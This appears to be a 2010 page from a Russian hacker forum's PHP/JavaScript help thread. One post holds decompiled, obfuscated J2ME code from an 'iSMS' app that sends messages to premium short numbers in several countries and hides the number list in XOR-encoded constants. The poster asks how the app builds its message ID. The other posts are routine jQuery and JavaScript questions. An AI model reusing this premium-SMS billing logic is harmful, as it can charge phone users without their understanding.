ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #2091  
Старый 10.01.2010, 02:15
Аватар для ufalog
ufalog
Участник форума
Регистрация: 28.07.2007
Сообщений: 177
Провел на форуме:
274360

Репутация: 5
Отправить сообщение для ufalog с помощью ICQ
По умолчанию

как class генерирует значение 101648739 (text) который уходит на номер 8355






Код:
  public final void run()
  {
    Object localObject2;
    try
    {
      this.P = "sms://" + this.am;
      (localObject2 = (TextMessage)(localObject1 = (MessageConnection)Connector.open(this.P)).newMessage("text")).setPayloadText(this.Q);
      ((MessageConnection)localObject1).send((Message)localObject2);
      ((MessageConnection)localObject1).close();
    }
    catch (Exception localException)
    {
      localObject2 = new Alert(q, r, this.at, AlertType.ERROR);
      this.N.a.setCurrent((Alert)localObject2, this.as);
      return;
    }
    this.X.setString("");
    this.Y.setString("");
    this.Z.setString("");
    Object localObject1 = new Alert(s, t, this.au, AlertType.INFO);
    this.N.a.setCurrent((Alert)localObject1, this);
  }

  private boolean b(String paramString)
  {
    for (int i1 = 0; i1 < this.R.length; ++i1)
      if (this.R[i1].equals(paramString))
        return true;
    return false;
  }

  public final void b()
  {
    try
    {
      this.an = this.N.getAppProperty(this.U + "-ID");
    }
    catch (Exception localException)
    {
      this.an = null;
    }
    if ((this.an == null) || (this.an.equals("")) || (this.an.equals("{ID}")))
      this.an = this.T;
    else
      this.an = this.T + this.an;
    Object localObject;
    if ((localObject = this.V.get(this.N.e)) != null)
      this.am = localObject.toString();
    if ((localObject = this.W.get(this.N.e)) != null)
      this.ao = localObject.toString();
    if ((this.am != null) && (this.ao != null) && (b(this.am)))
    {
      String str = this.an;
      localObject = this;
      if ((((str = str.toLowerCase()).indexOf(((c)localObject).T) >= 0) ? 1 : 0) == 0)
        this.an = this.T;
    }
    else
    {
      this.am = this.S;
      this.an = this.T;
      this.ao = "3";
    }
    if (!(this.an.equals(this.T + "1")))
      return;
    this.an = this.T;
  }

  c(Main paramMain)
  {
    super(p);
    this.N = paramMain;
    M = paramMain.a("/ops");
    this.R = new String[7];
    this.R[0] = a(19814799, 1);
    this.R[1] = a(19822282, 1);
    this.R[2] = a(19817165, 1);
    this.R[3] = a(19818572, 1);
    this.R[4] = a(19824026, 1);
    this.R[5] = a(19824140, 1);
    this.R[6] = a(19824500, 1);
    this.S = this.R[0];
    if (a("canvas"))
      this.U = "iSMS";
    long l1 = System.currentTimeMillis();
    long l2 = l1 + 1L;
    long l3 = 0L;
    while (l3 < 10L)
    {
      long l4 = 0L;
      while (l4 < 10L)
      {
        l2 += l4 + l3;
        l4 += 1L;
      }
      l3 += 1L;
    }
    l2 = l2 - l1 - 800L;
    this.T = String.valueOf(l2) + "6";
    this.ap = "ru,8355,3;ua,7137,1.6;kz,4449,3;kg,4449,3;by,4449,2.3;ge,4449,4.2;tj,4449,3;am,4449,1000;az,4448,0.8;ee,1206,3;lv,1824,3;lt,1624,3;il,4070,4.2;";
    this.V = new Hashtable();
    this.W = new Hashtable();
    String str1 = "";
    int i2 = 0;
    paramMain = 0;
    for (int i1 = 0; i1 < this.ap.length(); ++i1)
    {
      if (this.ap.charAt(i1) == ',')
      {
        if (paramMain == 0)
          str1 = this.ap.substring(i2, i1);
        if (paramMain == 1)
        {
          String str2 = this.ap.substring(i2, i1);
          this.V.put(str1, str2);
        }
        ++paramMain;
        i2 = i1 + 1;
      }
      if (this.ap.charAt(i1) != ';')
        continue;
      String str3 = this.ap.substring(i2, i1);
      this.W.put(str1, str3);
      i2 = i1 + 1;
      paramMain = 0;
    }
    b();
    this.X = new TextField(u, this.aa, 15, 0);
    this.Y = new TextField(v, this.ab, 15, 3);
    this.Z = new TextField(w, this.ac, 110, 0);
    append(this.X);
    append(this.Y);
    append(this.Z);
    this.ad = new Command(x, 7, 1);
    this.ag = new Command(y, 4, 1);
    this.ah = new Command(z, 4, 1);
    this.ai = new Command(A, 2, 1);
    this.aj = new Command(A, 2, 1);
    this.ak = new Command(A, 2, 1);
    this.ae = new Command(B, 5, 1);
    this.af = new Command(C, 5, 1);
    this.al = new Command(e, 5, 1);
    addCommand(this.ag);
    addCommand(this.af);
    addCommand(this.al);
    setCommandListener(this);
    try
    {
      this.at = Image.createImage("/error.png");
      this.au = Image.createImage("/info.png");
      return;
    }
    catch (IOException localIOException)
    {
    }
  }

  public final void commandAction(Command paramCommand, Displayable paramDisplayable)
  {
    if (paramDisplayable == this)
    {
      if (paramCommand == this.ag)
      {
        paramCommand = "";
        this.aa = this.N.b(this.X.getString());
        this.ab = this.Y.getString();
        this.ac = this.N.b(this.Z.getString());
        this.aa = this.aa.replace('?', '_');
        this.aa = this.aa.replace(':', '_');
        this.aa = this.aa.trim();
        this.ac = this.ac.trim();
        if (this.aa.length() == 0)
          paramCommand = paramCommand + D;
        if (this.ab.length() == 0)
          paramCommand = paramCommand + E;
        if ((this.ab.length() > 0) && (this.ab.length() < 10))
          paramCommand = paramCommand + F;
        if (this.ac.length() == 0)
          paramCommand = paramCommand + G;
        paramDisplayable = 1;
        for (int i1 = 0; i1 < this.aa.length(); ++i1)
        {
          if ("0123456789".indexOf(this.aa.charAt(i1)) != -1)
            continue;
          paramDisplayable = 0;
          break;
        }
        if ((this.aa.length() > 0) && (this.aa.length() < 5) && (paramDisplayable != 0) && (a(this.aa)))
          paramCommand = paramCommand + H;
        if ((paramCommand.length() > 0) && (a(paramCommand.toString())))
        {
          Alert localAlert = new Alert(q, paramCommand, this.at, AlertType.ERROR);
          this.N.a.setCurrent(localAlert, this);
          return;
        }
        if (this.ab.charAt(0) == '+')
          this.ab = this.ab.substring(1, this.ab.length());
        if (this.aa.charAt(0) == '+')
          this.aa = this.aa.substring(1, this.aa.length());
        this.aa = this.aa.replace(' ', '-');
        if (paramDisplayable != 0)
          i2 = 15;
        else
          i2 = 11;
        if (this.aa.length() > i2)
          this.aa = this.aa.substring(0, i2);
        this.Q = this.an + " " + this.aa + " " + this.ab + " ";
        int i2 = 160 - this.Q.length();
        if (this.ac.length() > i2)
          this.ac = this.ac.substring(0, i2);
        paramCommand = "";
        for (paramDisplayable = 0; paramDisplayable < this.ac.length(); ++paramDisplayable)
          if (" 1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm.,!\"@+-:;$?()*'".indexOf(this.ac.charAt(paramDisplayable)) != -1)
            paramCommand = paramCommand + this.ac.charAt(paramDisplayable);
          else
            paramCommand = paramCommand + " ";
        this.ac = paramCommand;
        paramCommand = "";
        for (paramDisplayable = 0; paramDisplayable < this.aa.length(); ++paramDisplayable)
        {
          if (" 1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm.,!\"@+-:;$?()*'".indexOf(this.aa.charAt(paramDisplayable)) == -1)
            continue;
          paramCommand = paramCommand + this.aa.charAt(paramDisplayable);
        }
        this.aa = paramCommand;
        if ((this.N.e.equals("ru")) || (this.N.e.equals("ua")))
          paramDisplayable = this.an;
        else
          paramDisplayable = "dx" + this.an;
        this.Q = paramDisplayable + " " + this.aa + " " + this.ab + " " + this.ac;
        this.as = new Form(p);
        this.as.append(u + " " + this.X.getString() + "\n");
        this.as.append(v + " " + this.Y.getString() + "\n");
        this.as.append(w + " " + this.Z.getString() + "\n");
        this.as.addCommand(this.aj);
        this.as.addCommand(this.ah);
        this.as.addCommand(this.ae);
        this.as.addCommand(this.ad);
        this.as.setCommandListener(this);
        this.N.a.setCurrent(this.as);
        return;
      }
      if (paramCommand == this.af)
      {
        this.ar = new Form(C);
        this.ar.append(I);
        this.ar.addCommand(this.ak);
        this.ar.setCommandListener(this);
        this.N.a.setCurrent(this.ar);
        return;
      }
      if (paramCommand == this.al)
      {
        paramDisplayable = this;
        (paramCommand = this.N.c).a = paramDisplayable;
        this.N.a.setCurrent(this.N.c);
        return;
      }
    }
    if ((paramDisplayable == this.aq) && (paramCommand == this.ai))
    {
      this.N.a.setCurrent(this.as);
      return;
    }
    if ((paramDisplayable == this.ar) && (paramCommand == this.ak))
    {
      this.N.a.setCurrent(this);
      return;
    }
    if (paramDisplayable != this.as)
      return;
    if (paramCommand == this.ah)
    {
      this.O = new Thread(this);
      this.O.start();
      return;
    }
    if (paramCommand == this.aj)
    {
      this.N.a.setCurrent(this);
      return;
    }
    if (paramCommand == this.ae)
    {
      this.aq = new Form(B);
      if (this.N.e.equals("am"))
        this.aq.append(J + K + this.ao + " AMD.");
      else if (this.N.e.equals("ge"))
        this.aq.append(J + K + this.ao + " GEL.");
      else if (this.N.e.equals("az"))
        this.aq.append(J + K + this.ao + " AZN.");
      else if (this.N.e.equals("tj"))
        this.aq.append(J + K + this.ao + " USD.");
      else
        this.aq.append(J + M + "\n\n" + K + this.ao + L);
      this.aq.addCommand(this.ai);
      this.aq.setCommandListener(this);
      this.N.a.setCurrent(this.aq);
      return;
    }
    if (paramCommand != this.ad)
      return;
    (this = this.N).destroyApp(false);
    return;
  }

  public static void c()
  {
    try
    {
      RecordStore.deleteRecordStore("isms.lng");
      RecordStore localRecordStore = RecordStore.openRecordStore("isms.lng", true);
      String str = a;
      byte[] arrayOfByte;
      try
      {
        arrayOfByte = str.getBytes("UTF-8");
      }
      catch (UnsupportedEncodingException localUnsupportedEncodingException)
      {
        arrayOfByte = str.getBytes();
      }
      if (arrayOfByte != null)
        localRecordStore.addRecord(arrayOfByte, 0, arrayOfByte.length);
      localRecordStore.closeRecordStore();
      return;
    }
    catch (Exception localException)
    {
    }
  }

  private static String a(int paramInt1, int paramInt2)
  {
    return String.valueOf(paramInt1 ^ 9911446 << 1);
  }
}

Последний раз редактировалось ufalog; 10.01.2010 в 02:17..
 
Ответить с цитированием

  #2092  
Старый 10.01.2010, 10:53
Аватар для MaTpOc
MaTpOc
Познавший АНТИЧАТ
Регистрация: 05.05.2008
Сообщений: 1,078
Провел на форуме:
10311449

Репутация: 1357


По умолчанию

Помогите дописать чтобы имеги вертелись на странице
Цитата:
:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=1024; y4=768; x5=1024; y5=768; DI=document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterv al('A()',5); void(0)
 
Ответить с цитированием

  #2093  
Старый 10.01.2010, 18:05
Аватар для b3
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Вопрос к тем кто на jQuery, дайте самый простой пример кода загрузки 1-го файла через ХТМЛ форму с progressbar
 
Ответить с цитированием

  #2094  
Старый 10.01.2010, 19:24
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

https://forum.antichat.ru/thread100550.html
 
Ответить с цитированием

  #2095  
Старый 11.01.2010, 14:40
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Собственно вот вопрос по jquery+Json.
Нужно выловить список сообщений пользователя,и первый вопрос заключаеться в том как правильно сформировать конструкцию json для данных вида:
Код:
От: Юзверь1
Тема: Привет
Сообщение: Привет, это юзверь 1
От: Юзверь 2
Тема: Пока
Сообщение: Пока,это был Юзверь 2
....
Как бы это все в json выглядело лучше всего?
Вопрос нумбер ту.
Как затем правильно отловить и выкинуть на экран все эти сообщения.Спасибо за помощь,лучше всего код(можно даже приmерный,но в jquery я чтото никак не раберусь )
 
Ответить с цитированием

  #2096  
Старый 11.01.2010, 15:06
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Пока что сделал так:
Код:
({
		"messages": [
	   {
            "from": "User1",
			"subject": "Leo <3 Kong Wubba",
            "body": "Кагбе привет"
	   },
	   {
	       "from": "User1",
			"subject": "Hello,I'm kaka",
            "body": "привет,хотел познакомица!1"
            
	   }
        ]
})
PHP код:
$(document).ready(function(){
    $.
getJSON("ajax.html",
        function(
data){
          $.
each(data.messages, function(i,item){
            $(
"#exp").append('From: ' item.from ' Subj: 'item.subject +' Messg: 'item.body +'<br/>');
          });
        });
  }); 
Есть варианты лучше?
 
Ответить с цитированием

  #2097  
Старый 11.01.2010, 16:43
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

тэкс, учим jquery
Вона чо оно мужики я наколякол:
PHP код:
$(document).ready(function(){
    $(
'#message').click(function(){
            $.
getJSON("ajax.php?action=pmlist",
            function(
data){
            $.
each(data.Messages, function(i,item){
            $(
"#listmsg").append('<p>From: ' item.muserfrom ' Subj: 'item.msubj +' Messg: 'item.mbody +'</p>');
            });
        });
    })
}); 
Код:
<a href="#" id="message">Показать</a><div id="listmsg"></div>
Чо сдалать то нужно мужики,так это,запоминание.Тоесть,есл уже мы кликнули показать,то следующим шагом может быть только Скрыть.Ну сменить Показать на Скрыть это то я могу,а вот как сделать запоминание? =(
Пытался я var i = true; Если уже клик был,так оно сцука сбрасываеться при новом евенте на поле.Так что прошу помосчи.
 
Ответить с цитированием

  #2098  
Старый 11.01.2010, 22:57
Аватар для djpasica
djpasica
Участник форума
Регистрация: 23.05.2009
Сообщений: 171
Провел на форуме:
1308820

Репутация: 227
Отправить сообщение для djpasica с помощью ICQ
По умолчанию

нужен JS который показивает Московское время с секундами
 
Ответить с цитированием

  #2099  
Старый 11.01.2010, 23:22
Аватар для [Life]
[Life]
Banned
Регистрация: 07.01.2010
Сообщений: 132
Провел на форуме:
63422

Репутация: 8
По умолчанию

Где можно почитать про всплывающие окна,как на античате.
Тоесть не к отдельной ссылке вспл.окно,а к каждому слову как это здесь реализовано(например античат,xss,дедик вызвают всплывающее окно).
?
 
Ответить с цитированием

  #2100  
Старый 14.01.2010, 18:13
Аватар для mff
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479

Репутация: 1809


Отправить сообщение для mff с помощью ICQ
По умолчанию

Подскажите, у Location есть свойство target ? Нужно чтобы страничка в новом окне открывалась. Спасибо.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Delphi]/[Pascal] Задай вопрос, получи ответ Isis С/С++, C#, Delphi, .NET, Asm 6762 17.06.2010 21:23
Proxy FAQ foreva Чужие Статьи 12 04.01.2008 12:15
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ